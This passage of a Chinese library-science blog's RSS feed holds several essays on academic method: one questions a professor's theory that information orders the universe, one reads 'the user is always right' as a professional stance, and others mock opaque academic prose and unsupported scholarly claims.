<p class="MsoNormal"><span style="font-family: 宋体;">这么好的交流平台，这么有意思的交流话题，杨教授真不应该就此打住。</span><span id="more-1231"></span><span style="font-family: 宋体;">不管杨教授愿不愿意，我倒是想说点自己的看法。我跟杨教授算是同道吧，谈不上交情，仅限于见面热情招呼，热情问候，然后热情道别。杨教授是个爽直的北方汉子，我相信如果我的博文让杨教授感觉不爽了，下次见面时他也不会对我横眉冷对，照样会热情招呼热情问候然后热情道别。“热情”是专业同道之间最基本的礼仪符号。当然如果能够因为学术而朋友那就更好了，礼仪符号也随之而丰富一些，比如像跟竹帛、杨玉麟等见面时来个热情拥抱；也可能如老槐，平淡地打个招呼，就像昨天刚刚见过面一般，没必要忽悠一个见面仪式。</span></p>
<p class="MsoNormal"><span style="font-family: 宋体;">对杨教授的研究，我算是外行。说外行有两层意思，一是从未介入过杨教授的研究领域，二是没有拜读过杨教授的大作《信息资源价值研究》。本不具备说什么甚至提问的资格，好在有云中鹤博客，让我有缘读到杨教授最核心的思想——有关信息本质的思考。</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><span style="color: #ff6600;"><span style="font-family: 宋体;">信息是宇宙的有序化机制，也就是宇宙系统的结构机制。生命是宇宙系统发展到一定水平和高度的系统形式，我们称其为生命系统。生命系统是宇宙有序化发展到一定程度的产物，是一种高度有序化的系统。这样，信息不仅是生命系统的结构机制，同时也就必然是生命系统的自然诉求。实际上，信息对无机系统的意义也是如此。只不过是我们人类目前还一时无从弄清楚它的运行机理而已。正是基于这一机理，我们称之为客观规律或自然规律的东西才有可能存在。所谓规律，就是宇宙结构的有序化生成、宇宙系统的有序化运行和有序化发展的既定模式。</span></span></p>
<p class="MsoNormal">
<p class="MsoNormal"><span style="font-family: 宋体;">对杨教授的研究领域和研究方式都陌生，对一个陌生的研究领域我很难短时间内能补上课，我便找捷径以便让自己先把充满疑惑的心安顿下来，这个捷径就是了解杨教授的研究方法。</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><span style="font-family: 宋体;">杨</span><span style="font-family: 宋体;">教授短短的文字里，包含了好几个判断。我想知道这些判断是怎么形成的？</span></p>
<p class="MsoNormal"><span style="font-family: 宋体;">1.宇宙系统。</span></p>
<p class="MsoNormal" style="margin-left: 18pt; text-indent: -18pt;"><span style="font-family: 宋体;">2.信息是宇宙的有序化机制，也就是宇宙系统的结构机制。</span></p>
<p class="MsoNormal" style="margin-left: 18pt; text-indent: -18pt;"><span style="font-family: 宋体;">3.生命系统是宇宙有序化发展到一定程度的产物，是一种高度有序化的系统。这样，信息不仅是生命系统的结构机制，同时也就必然是生命系统的自然诉求。（我没看懂“这样”是如何这样的）</span></p>
<p class="MsoNormal" style="margin-left: 18pt; text-indent: -18pt;"><span style="font-family: 宋体;">4.实际上，信息对无机系统的意义也是如此。</span><span style="color: #000000;"><span style="font-family: 宋体;">只不过是我们人类目前还一时无从弄清楚它的运行机理而已。（人类都没有搞清楚，“也是如此”的结论从何而来呢？）</span></span></p>
<p class="MsoNormal" style="margin-left: 18pt; text-indent: -18pt;"><span style="font-family: 宋体;">5.正是基于这一机理，我们称之为客观规律或自然规律的东西才有可能存在。</span></p>
<p class="MsoNormal"><span style="font-family: 宋体;"><span style="font-family: Lucida Sans Unicode;">6.</span>此外还有：<span style="color: #ff6600;">信息机制是揭示宇宙无穷奥秘的最后一道密码</span></span></p>
<p class="MsoNormal"><span style="font-family: 宋体;">因为涉及到“宇宙系统”，我猜测杨教授不可能采用实证的研究方法，如是，就是所谓的思辨式研究了？</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><span style="font-family: 宋体;">我相信世界上是有一种研究方法叫做“思辨”，上大学时学物质结构，从玻耳原子结构模型的提出第一次知道了这一研究方法。因为原子结构的不可直接观察，玻耳老师便根据物质的宏观性质进行推测，我的老师告诉我们这就是理论假说。我当时在心里琢磨，这个“说”是“假”的，因为是玻耳老师想出来的。老师还告诉我们，这个假说能不能让大家伙儿接受还要看它的解释能力。我当时还不知道玻耳老师的研究方法在方法论上被称为思辨，但好歹也算知道了可以用这种方法进行科学研究。不是可以，是有些问题在未达到直接观察以前，恐怕只能如此。</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><span style="font-family: 宋体;">从我的启蒙教育里得到的知识是，即使是思辨研究，把握大一点的话是根据可观察的现象来进行推测，不能只做脑筋急转弯；另外反过来还要用“推测”去解释更多的现象。理论家的工作就是，提出假说后，花相当的精力去证明其假说，所以假说的提出只是万里长征的第一步。</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><span style="font-family: 宋体;">我不知道杨教授在其著作里有没有用足够的现象来支撑自己的判断（结论），对此我相当好奇，因为单就“信息是宇宙的有序化机制，也就是宇宙系统的结构机制”这一结论，这要通过什么样的现象来作为依据呢？我认定这是一个相当有难度的工作，光是想想，就已远远超出了我的脑力负荷。</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><span style="font-family: 宋体;">从杨</span><span style="font-family: 宋体;">教授的博客文我知道，杨教授还也没有完成假说的解释力的证明过程。所以我不赞成杨教授在课堂上或博客里劝学生去读懂自己的著作，因为杨教授是希望通过“读懂”来接受自己的学术思想。在还没有得到证明之前，杨教授的研究还只是假说，还没有到可以劝别人去接受的地步。</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><span style="font-family: 宋体;">即使是可以用辩证法、系统论一类的理论来助你一臂之力，但根据常识，这些理论可以为作为一种理论依据它仍然不能代替要得出结论必须有现象作支撑和必须让结论能解释更多的现象的研究过程，理论依据只是在你根据现象提出推断时的一种思维工具，它们不应该成为一项研究结论的唯一依据。</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><span style="font-family: 宋体;">那种不用现象作支撑纯粹用脑子想出来的结论也是有的吧，即便如此，在未得到检验之前，那还只能是一个个人化的思考，比起建立在现象之上的假说，其说服力就更差了。说得俗一点，纯粹个人思考的结果，凭什么要别人接受呢？</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><span style="font-family: 宋体;">那位天涯网友一直对“宇宙系统”的说法质疑，坦率地说，我也有与这位朋友相同的疑惑。实际上杨教授是提出了“宇宙是一个系统”的判断，这个判断是对现有系统概念的颠覆。如果要说服我们接受这一判断，杨教授或许应该从两个方面择其一进行证明：或者证明现有的系统概念不正确，确有重新提出系统概念的必要性；或者证明在现有概念下，宇宙的确是一个系统，比如它有边界，有开放性（即与环境有物质和能量的交流），等等。我可以理解因为前沿而不能百度，但我不能杨教授冷不丁提出一个“宇宙系统”的概念就不带任何怀疑地照单收下。</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><span style="font-family: 宋体;">在未拜读大作的情况下，仅能就杨教授的“本质思考”谈点看法。我不想介入口舌是非，是因为先生的一句话给了我鼓励，“尽管很是热闹了几日，但令人失望的是至今没有出现我所一直期待的那种各自提出自己的观点，相互交流，共同受益的局面”。显然先生是希望相互交流的，近几年来学术界同道之间的交流越来越少，大多数情况是作者们自说自话。我想借博客这个天地，跟杨教授做一些交流，就不假惺惺地说什么讨教之流的虚伪话了，就是同道之间的探讨，仅此而已。</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><span style="font-family: 宋体;">恭祝杨教授牛年大吉！</span></p>
<p class="MsoNormal"> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.mingzhiguwen.net/archives/1231.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>我们中自然科学的毒有多深？</title>
		<link>http://www.mingzhiguwen.net/archives/1156.html</link>
		<comments>http://www.mingzhiguwen.net/archives/1156.html#comments</comments>
		<pubDate>Sat, 29 Nov 2008 05:17:57 +0000</pubDate>
		<dc:creator>超平</dc:creator>
				<category><![CDATA[旁门左道]]></category>
		<category><![CDATA[学术那些事]]></category>

		<guid isPermaLink="false">http://www.mingzhiguwen.net/?p=1156</guid>
		<description><![CDATA[ 今年的志愿者行动贵州行，在临时增加的报告中我的题目是《智慧与服务》，报告中我第一次公开挺了一把程氏定理“用户永远正确”。   在准备报告的过程中，我有一个发现，所有反对意见，都纠结于该定理的真理性，典型如叶帅，说一个反例将推翻该定理（见《图书馆学论剑》。   这几乎是大多数人的一种本能反应，怎么能永远正确呢？只要是人就决无这个可能性。所以我们的脑子里立即涌现了十个手指头再加十个脚趾头都数不过来的用户不正确的例子。   我突然开始对所有人的纠结产生怀疑，不是怀疑那些关于用户不正确的例子，我相信用户肯定有不正确的时候，而是怀疑一种思维定势。   在自然科学里，定理应该是基于一种确定的结论，即所谓“确定性”，一定是没有例外的，是符合定量规律的。但是，在社会领域，我们很难找到基于确定性规律的结论，绝大多数情况下，我们不得不基于一种统计规律得出结论，当然对这个基于统计规律的结论还要给出很多说法，比如检验方法，比如置信度等。请注意我提到了“不得不”，因为如果要总结规律，“统计规律”就是“不得不”的选择。吸烟有害健康也是一种统计规律，如果你要找反例，同样也是十个手指头加十个脚趾头数不过来的。   我同时还发现了一个有趣的现象，程氏定理的提出者竹帛斋主也深陷于真理性的纠结不能自拔，在他提出该定理的教科书里，他在那里煞费苦心地在证明这个定理的真理性，其证明的方式是，所有用户的不正确都源于我们工作的不正确，他显然也试图从无一例外的真理性上去进行证明。   “用户是正确的”其实就是在告诉你一种思维方式，一种立场。它的真理性不在于是不是有反例，而是说你如果坚持这种思维模式你就能把事情做好，如果要说真理性，这就是它的真理性。至于“永远”，如果你不纠结于有没有反例，就不会在乎这个“永远”，它就是一种语境，一种追求，一种境界。   如此，我们就能接受其它如出一辙的各类定理，比如对“读者是上帝”就不会发出“难道图书馆员是上帝的子民？”这样的疑问。“读者是上帝”只是“读者中心论”的一种生活化表述，如果非要去追究谁是老大谁是老二，那就又陷入了“无一例外的真理性”陷阱中去了。   是我们中自然科学的毒太深还是社会科学太难？    ]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US"><span style="font-size: small; font-family: Times New Roman;"> </span></span><span style="font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';"><span style="font-size: small;">今年的志愿者行动贵州行，在临时增加的报告中我的题目是《智慧与服务》，报告中我第一次公开挺了一把程氏定理“用户永远正确”。<span id="more-1156"></span></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US"><span style="font-size: small; font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';"><span style="font-size: small;">在准备报告的过程中，我有一个发现，所有反对意见，都纠结于该定理的真理性，典型如叶帅，说一个反例将推翻该定理（见《图书馆学论剑》。</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US"><span style="font-size: small; font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';"><span style="font-size: small;">这几乎是大多数人的一种本能反应，怎么能永远正确呢？只要是人就决无这个可能性。所以我们的脑子里立即涌现了十个手指头再加十个脚趾头都数不过来的用户不正确的例子。</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US"><span style="font-size: small; font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';"><span style="font-size: small;">我突然开始对所有人的纠结产生怀疑，不是怀疑那些关于用户不正确的例子，我相信用户肯定有不正确的时候，而是怀疑一种思维定势。</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US"><span style="font-size: small; font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';"><span style="font-size: small;">在自然科学里，定理应该是基于一种确定的结论，即所谓“确定性”，一定是没有例外的，是符合定量规律的。但是，在社会领域，我们很难找到基于确定性规律的结论，绝大多数情况下，我们不得不基于一种统计规律得出结论，当然对这个基于统计规律的结论还要给出很多说法，比如检验方法，比如置信度等。请注意我提到了“不得不”，因为如果要总结规律，“统计规律”就是“不得不”的选择。吸烟有害健康也是一种统计规律，如果你要找反例，同样也是十个手指头加十个脚趾头数不过来的。</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US"><span style="font-size: small; font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';"><span style="font-size: small;">我同时还发现了一个有趣的现象，程氏定理的提出者竹帛斋主也深陷于真理性的纠结不能自拔，在他提出该定理的教科书里，他在那里煞费苦心地在证明这个定理的真理性，其证明的方式是，所有用户的不正确都源于我们工作的不正确，他显然也试图从无一例外的真理性上去进行证明。</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US"><span style="font-size: small; font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';"><span style="font-size: small;">“用户是正确的”其实就是在告诉你一种思维方式，一种立场。它的真理性不在于是不是有反例，而是说你如果坚持这种思维模式你就能把事情做好，如果要说真理性，这就是它的真理性。至于“永远”，如果你不纠结于有没有反例，就不会在乎这个“永远”，它就是一种语境，一种追求，一种境界。</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US"><span style="font-size: small; font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';"><span style="font-size: small;">如此，我们就能接受其它如出一辙的各类定理，比如对“读者是上帝”就不会发出“难道图书馆员是上帝的子民？”这样的疑问。“读者是上帝”只是“读者中心论”的一种生活化表述，如果非要去追究谁是老大谁是老二，那就又陷入了“无一例外的真理性”陷阱中去了。</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US"><span style="font-size: small; font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';"><span style="font-size: small;">是我们中自然科学的毒太深还是社会科学太难？</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US"><span style="font-size: small; font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US"><span style="font-size: small; font-family: Times New Roman;"> </span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mingzhiguwen.net/archives/1156.html/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>因为境界，而八卦</title>
		<link>http://www.mingzhiguwen.net/archives/377.html</link>
		<comments>http://www.mingzhiguwen.net/archives/377.html#comments</comments>
		<pubDate>Sun, 03 Aug 2008 02:25:00 +0000</pubDate>
		<dc:creator>超平</dc:creator>
				<category><![CDATA[无事生非]]></category>
		<category><![CDATA[学术那些事]]></category>

		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e5%9b%a0%e4%b8%ba%e5%a2%83%e7%95%8c%ef%bc%8c%e8%80%8c%e5%85%ab%e5%8d%a6.html</guid>
		<description><![CDATA[当图有其表（以下按网络江湖的习惯简称表哥）在某QQ群里赞《20世纪西方与中国的图书馆学》是专业八卦的时候，我也正趴在那个群里跟一帮人胡扯，我看到老槐因为表哥的另类赞美而兴奋，我在心里惊呼：境界，绝对是境界！ 没有任何后顾之忧，八卦就八卦了，爱谁谁。 换个人，比如在下，谁要说我写的东西是专业八卦，我敢兴奋吗？借我一个胆儿也不敢啊，还混不混了？ 不怕被标注上“八卦”的标签，并不是不怕八卦本身，而是不在乎某种东西，那得有资本啊，这资本是什么？还不明白吗？ 要说怕什么或者在乎什么，其实我也是不怕的不在乎的，早就把那啥，仍到太平洋去了，但我怎么就达不到那境界呢，奇了怪了。 不得不说说我的境界，大多数时候看不下去不八卦的，又害怕沾上八卦的边儿，里外不是人。 专业八卦之说很叛逆，就是嚣张地要表达一种愿望，希望学术文字简单一点，好看一点，更像人说的话。 我从自科那边搬家到社科这边，最早的觉悟就是学会不说人话。 自然科学，人家聪明，一开始就编一套专业词儿，用专业词儿说话，外行看不懂，你还不能说人是装，因为你并不觉得那不是人话，只是跟一般生活语言不同罢了，很自然就把老百姓和学术人区别开了，比如，学术人说苯甲酸钠老百姓说防腐剂；学术人说氯化钠老百姓说盐巴。有了专业词儿，就有什么说什么了，绝不弯弯绕，苯甲酸钠可以延缓物质腐烂；氯化钠溶于水，强电解质，强酸强碱盐。 到了社会科学这边，一开始没把规矩兴好，没有编一套专业词儿，比如，老百姓说图书馆，学术人也说图书馆；学术人说教育，老百姓知道那是什么。老百姓说的话和学术人说的话没有区别。但没有区别是不对的，学术人就不干了，于是开始变着法儿不说人话，比如好好一个图书馆，非得绕着弯说那是什么记忆的装置，还扯上移植。图书馆学不说人话肯定就是从巴特勒那儿开始的，不然谢拉怎么惊讶地说他的书“不及物”呢？ 这规矩一形成，学术就有了学术的样子。我们就开始学习怎么不说人话，学术就专门研究怎么不说人话。 不说人话的学术也有境界之别，最不说人话的是哲学，据哲学系的学生说，一堂课下来，老师说的话他们几乎听不懂。 其他事情，只要沾上哲学，立马也跟着不说人话，还记得《读书》那个杂志吗，人读书读得哲学，真还没见过有比那更不说人话的文章，我曾经想附附风雅，到系资料室借过几次回家去读，读不懂，再读，还是不懂，然后悻悻地拿回去还。然后在心里恨恨地骂一句：去他妈的，那样还叫读书吗？ 学术文字还不光是不说人话，还得变着法儿把话说得难看。那些个××性，绝对就是没话找话地扯，老师在课堂上讲了半天“性”，学生也不知道不讲这些“性”天会不会塌下来。期末考试如果学生不背书，百分之百把这一页上面的“性”和那一页上面的“性”胡搞在一起。 不知从什么时候开始，学术文字时兴用新词儿，大概学术人觉得学术文字实在是太难看了，于是加强变强化，提高变提升，立场变诉求，客观地说，变一变，稍微把文字装饰了一下，看起来还是有点新鲜感，文字看上去顺眼一些。但是，真正好看的文章，光用这招灵不灵？对此我毫无把握。吴建中的文字是怎么好看的，光靠新词儿吗？这得去问他。 八卦不八卦不是根本，关键是学术得让人读得下去，读得有兴味，读得有感觉。八卦也不是好看的唯一方式，好多次亲眼看到“凉粉”对于良芝说超喜欢《图书馆学导论》，那本书，不知道按表哥的标准算不算专业八卦，至少现在没人敢这样说，不也好看吗？ 最后，说一点担心，看到老槐被“专业八卦”给雷了，我知道一场新的是非正在酝酿，暴风雨，就要来了！]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: small;">当图有其表（以下按网络江湖的习惯简称表哥）在某QQ群里赞《20世纪西方与中国的图书馆学》是专业八卦的时候，我也正趴在那个群里跟一帮人胡扯，我看到老槐因为表哥的另类赞美而兴奋，我在心里惊呼：境界，绝对是境界！</span></p>
<p><span style="font-size: small;">没有任何后顾之忧，八卦就八卦了，爱谁谁。</span></p>
<p><span style="font-size: small;">换个人，比如在下，谁要说我写的东西是专业八卦，我敢兴奋吗？借我一个胆儿也不敢啊，还混不混了？</span><span id="more-377"></span></p>
<p><span style="font-size: small;">不怕被标注上“八卦”的标签，并不是不怕八卦本身，而是不在乎某种东西，那得有资本啊，这资本是什么？还不明白吗？</span></p>
<p><span style="font-size: small;">要说怕什么或者在乎什么，其实我也是不怕的不在乎的，早就把那啥，仍到太平洋去了，但我怎么就达不到那境界呢，奇了怪了。</span></p>
<p><span style="font-size: small;">不得不说说我的境界，大多数时候看不下去不八卦的，又害怕沾上八卦的边儿，里外不是人。</span></p>
<p><span style="font-size: small;">专业八卦之说很叛逆，就是嚣张地要表达一种愿望，希望学术文字简单一点，好看一点，更像人说的话。</span></p>
<p><span style="font-size: small;">我从自科那边搬家到社科这边，最早的觉悟就是学会不说人话。</span></p>
<p><span style="font-size: small;">自然科学，人家聪明，一开始就编一套专业词儿，用专业词儿说话，外行看不懂，你还不能说人是装，因为你并不觉得那不是人话，只是跟一般生活语言不同罢了，很自然就把老百姓和学术人区别开了，比如，学术人说苯甲酸钠老百姓说防腐剂；学术人说氯化钠老百姓说盐巴。有了专业词儿，就有什么说什么了，绝不弯弯绕，苯甲酸钠可以延缓物质腐烂；氯化钠溶于水，强电解质，强酸强碱盐。</span></p>
<p><span style="font-size: small;">到了社会科学这边，一开始没把规矩兴好，没有编一套专业词儿，比如，老百姓说图书馆，学术人也说图书馆；学术人说教育，老百姓知道那是什么。老百姓说的话和学术人说的话没有区别。但没有区别是不对的，学术人就不干了，于是开始变着法儿不说人话，比如好好一个图书馆，非得绕着弯说那是什么记忆的装置，还扯上移植。图书馆学不说人话肯定就是从巴特勒那儿开始的，不然谢拉怎么惊讶地说他的书“不及物”呢？</span></p>
<p><span style="font-size: small;">这规矩一形成，学术就有了学术的样子。我们就开始学习怎么不说人话，学术就专门研究怎么不说人话。</span></p>
<p><span style="font-size: small;">不说人话的学术也有境界之别，最不说人话的是哲学，据哲学系的学生说，一堂课下来，老师说的话他们几乎听不懂。</span></p>
<p><span style="font-size: small;">其他事情，只要沾上哲学，立马也跟着不说人话，还记得《读书》那个杂志吗，人读书读得哲学，真还没见过有比那更不说人话的文章，我曾经想附附风雅，到系资料室借过几次回家去读，读不懂，再读，还是不懂，然后悻悻地拿回去还。然后在心里恨恨地骂一句：去他妈的，那样还叫读书吗？ </span></p>
<p><span style="font-size: small;">学术文字还不光是不说人话，还得变着法儿把话说得难看。那些个××性，绝对就是没话找话地扯，老师在课堂上讲了半天“性”，学生也不知道不讲这些“性”天会不会塌下来。期末考试如果学生不背书，百分之百把这一页上面的“性”和那一页上面的“性”胡搞在一起。</span></p>
<p><span style="font-size: small;">不知从什么时候开始，学术文字时兴用新词儿，大概学术人觉得学术文字实在是太难看了，于是加强变强化，提高变提升，立场变诉求，客观地说，变一变，稍微把文字装饰了一下，看起来还是有点新鲜感，文字看上去顺眼一些。但是，真正好看的文章，光用这招灵不灵？对此我毫无把握。吴建中的文字是怎么好看的，光靠新词儿吗？这得去问他。</span></p>
<p><span style="font-size: small;">八卦不八卦不是根本，关键是学术得让人读得下去，读得有兴味，读得有感觉。八卦也不是好看的唯一方式，好多次亲眼看到“凉粉”对于良芝说超喜欢《图书馆学导论》，那本书，不知道按表哥的标准算不算专业八卦，至少现在没人敢这样说，不也好看吗？</span></p>
<p><span style="font-size: small;">最后，说一点担心，看到老槐被“专业八卦”给雷了，我知道一场新的是非正在酝酿，暴风雨，就要来了！<br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mingzhiguwen.net/archives/377.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>给我一个相信的理由</title>
		<link>http://www.mingzhiguwen.net/archives/325.html</link>
		<comments>http://www.mingzhiguwen.net/archives/325.html#comments</comments>
		<pubDate>Sat, 05 Apr 2008 15:20:00 +0000</pubDate>
		<dc:creator>超平</dc:creator>
				<category><![CDATA[图林春秋]]></category>
		<category><![CDATA[学术那些事]]></category>

		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e7%bb%99%e6%88%91%e4%b8%80%e4%b8%aa%e7%9b%b8%e4%bf%a1%e7%9a%84%e7%90%86%e7%94%b1.html</guid>
		<description><![CDATA[“国际上一般认为……” 证据呢？是文件规定还是制度规定？连个出处都没有，我凭什么要相信你说的呢？ “国外大多数学者认同……” 证据呢？你从哪里知道国外大多数学者的观点的？ “众所周知，……” 如果是常识，那是可以众所周知的。但众所周知引出来的，往往并不是常识，而是作者个人的某种判断，强词夺理到了这个份儿上，我只好在心里嘀咕一句“你牛！” 一些不能达成统一的学术概念的定义，教科书上总是先一一列举（包括国外的和国内的），然后，作者综各家所长，避各家所短，自己给出一个貌似更高明的定义。我最害怕学生来问我，写教材的人是最牛的一位吗？ 近期看到《图书馆建设》上一篇对中国图书馆学理论史分期问题的研究文章，列举了周文俊、谢灼华、宓浩、黄宗忠等前辈关于图书馆学史分期的观点，且不说图书馆学史和图书馆学理论史根本就不是可以在一个标准范畴下讨论的问题，单说文章的结构方式，在列举了各位前辈的观点后，用一句话点评的方式否定了前辈们的观点。这是一种常见的写文章方式，一一列举之后，指出别人的统统都不好，然后自己给出一个好的。 我凭什么相信你呢？你说不客观就不客观了？你说不能反映就不能反映了？你说有局限就有局限了？以为说了别人的不好，我就能相信你的好了？ 我不是对作者有恶意才这么说的，其实我根本不认识作者，我只想讨论一种现象。我个人实在不喜欢这样的作文方式，至少，你没能让我相信别人的不好和你的好。作者说了，自己的好是因为其划分是有三大依据的，但，那三大依据，是以“我们认为……”的方式给出的，我们凭什么相信你们的认为呢？而且，这个“认为”还比周文俊、宓浩、谢灼华、黄宗忠、李刚、倪波等的都要正确？ 两位作者都有研究生背景，这对我是一个提醒，在对自己研究生的培养中，要让他们首先学会敬畏，不懂得敬畏就免谈质疑。]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: small;">“国际上一般认为……”<br />
证据呢？是文件规定还是制度规定？连个出处都没有，我凭什么要相信你说的呢？</span></p>
<p><span style="font-size: small;">“国外大多数学者认同……”<br />
证据呢？你从哪里知道国外大多数学者的观点的？</span><span id="more-325"></span></p>
<p><span style="font-size: small;">“众所周知，……”<br />
如果是常识，那是可以众所周知的。但众所周知引出来的，往往并不是常识，而是作者个人的某种判断，强词夺理到了这个份儿上，我只好在心里嘀咕一句“你牛！”</span></p>
<p><span style="font-size: small;">一些不能达成统一的学术概念的定义，教科书上总是先一一列举（包括国外的和国内的），然后，作者综各家所长，避各家所短，自己给出一个貌似更高明的定义。我最害怕学生来问我，写教材的人是最牛的一位吗？</span></p>
<p><span style="font-size: small;">近期看到《图书馆建设》上一篇对中国图书馆学理论史分期问题的研究文章，列举了周文俊、谢灼华、宓浩、黄宗忠等前辈关于图书馆学史分期的观点，且不说图书馆学史和图书馆学理论史根本就不是可以在一个标准范畴下讨论的问题，单说文章的结构方式，在列举了各位前辈的观点后，用一句话点评的方式否定了前辈们的观点。这是一种常见的写文章方式，一一列举之后，指出别人的统统都不好，然后自己给出一个好的。</span></p>
<p><span style="font-size: small;">我凭什么相信你呢？你说不客观就不客观了？你说不能反映就不能反映了？你说有局限就有局限了？以为说了别人的不好，我就能相信你的好了？</span></p>
<p><span style="font-size: small;">我不是对作者有恶意才这么说的，其实我根本不认识作者，我只想讨论一种现象。我个人实在不喜欢这样的作文方式，至少，你没能让我相信别人的不好和你的好。作者说了，自己的好是因为其划分是有三大依据的，但，那三大依据，是以“我们认为……”的方式给出的，我们凭什么相信你们的认为呢？而且，这个“认为”还比周文俊、宓浩、谢灼华、黄宗忠、李刚、倪波等的都要正确？</span></p>
<p><span style="font-size: small;">两位作者都有研究生背景，这对我是一个提醒，在对自己研究生的培养中，要让他们首先学会敬畏，不懂得敬畏就免谈质疑。<br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mingzhiguwen.net/archives/325.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>关于“图书馆权利”，我也来札记一下</title>
		<link>http://www.mingzhiguwen.net/archives/192.html</link>
		<comments>http://www.mingzhiguwen.net/archives/192.html#comments</comments>
		<pubDate>Tue, 31 Oct 2006 11:21:00 +0000</pubDate>
		<dc:creator>超平</dc:creator>
				<category><![CDATA[旁门左道]]></category>
		<category><![CDATA[学术那些事]]></category>

		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e5%85%b3%e4%ba%8e%e2%80%9c%e5%9b%be%e4%b9%a6%e9%a6%86%e6%9d%83%e5%88%a9%e2%80%9d%ef%bc%8c%e6%88%91%e4%b9%9f%e6%9d%a5%e6%9c%ad%e8%ae%b0%e4%b8%80%e4%b8%8b.html</guid>
		<description><![CDATA[对于“图书馆权利”，从研究方面说，我只是一个读者与听者；在教学方面，我有所介入——把它引入研究生课堂，作为专题研讨课中的一个专题。在教学中，我更多地立足于这一研究给图书馆学和图书馆事业带来的变化——观念与意识的变化，比如在国家立法过程中冒着炮声隆隆表达职业诉求，在图书馆公共关系危机事件中以专业话语来维护职业话语权和职业尊严，主动地向对咱们爱恨交加的相邻职业集团发出友谊的“忽悠”以图建立一种和谐机制……。由于本人上课有一定的鼓动性，从结果来看，学生对这一研究所产生的积极意义是相当认同的。 去年杭州会议期间，王知津教授找到我，从“术语规范”的角度对“图书馆权利”提出了质疑。对于这个本人缺乏研究的问题，其实这样的讨论只是把问题摆在了我面前，我除了把我一贯的理解陈述一遍，不能向王老师提供更多有价值的观点/信息。王老师的质疑包括两个方面：一是术语的国际化，二是图书馆权利的主体如何确定？对于第一个问题，我提到了美国的《图书馆权利宣言》，王老师说，小组讨论中，初景利曾用笔记本现场google了，结果是《Library Bill of Rights》，这个结果使王老师对这个术语的国际化表示怀疑。在代表分委会向大会作陈述时，王老师特别提到了学术研究中术语的规范化问题。 我不知道老范请良芝查询的事，会议结束后不久突然接到良芝的E信，告知查询结果。此结果老槐已有说明，此处省略。总之，良芝查询的结果表明，这个术语的确不是一个国际通用术语。 尽管竹帛斋主和雨僧都认为不必受制于“国际通用”，不妨自造，只要能表达概念，符合语言规范，精炼明确和固定（雨僧语）即可。前几日与老槐在网上略微讨论此事，老槐坦言不能信服竹帛斋主和雨僧的说法。 